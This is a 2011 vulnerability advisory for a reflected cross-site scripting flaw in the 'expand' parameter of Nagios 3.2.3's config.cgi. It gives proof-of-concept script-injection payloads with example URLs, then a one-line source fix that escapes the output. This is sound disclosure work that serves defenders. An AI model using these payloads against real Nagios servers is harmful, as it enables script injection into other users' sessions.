Nagios version 3.2.3 suffers from a cross site scripting vulnerability.
a056b66c21311b190b7d847ea2b1659d52af13a17ea0e33a820d155730122899Advisory: Cross-Site Scripting vulnerability in Nagios
Advisory ID: SSCHADV2011-006
Author: Stefan Schurtz
Affected Software: Successfully tested on: nagios 3.2.3
Vendor URL: http://www.nagios.org
Vendor Status: informed
CVE-ID: -
==========================
Vulnerability Description:
==========================
This is a Cross-Site Scripting vulnerability
==================
Technical Details:
==================
No input validation for "expand" in config.c(gi)
View Config -> Command Expansion -> To expand -> <script>alert(String.fromCharCode(88,83,83))</script>
View Config -> Command Expansion -> To expand -> <body onload=alert(666)>
or
http://www.example.com/nagios/cgi-bin/config.cgi?type=command&expand=<script>alert(String.fromCharCode(88,83,83))</script>
http://www.example.com/nagios/cgi-bin/config.cgi?type=command&expand=<body onload=alert(666)>
=========
Solution:
=========
in config.c
< printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD CLASS='dataEven'>%s",command_args[0]);
> printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD CLASS='dataEven'>%s",escape_string(command_args[0]));
====================
Disclosure Timeline:
====================
01-Jun-2011 - informed developers
01-Jun-2011 - Release date of this security advisory
01-Jun-2011 - post on BugTraq and Full-disclosure
========
Credits:
========
Vulnerability found and advisory written by Stefan Schurtz.
===========
References:
===========
http://www.nagios.org
http://tracker.nagios.org/view.php?id=224
http://www.rul3z.de/advisories/SSCHADV2011-006.txt
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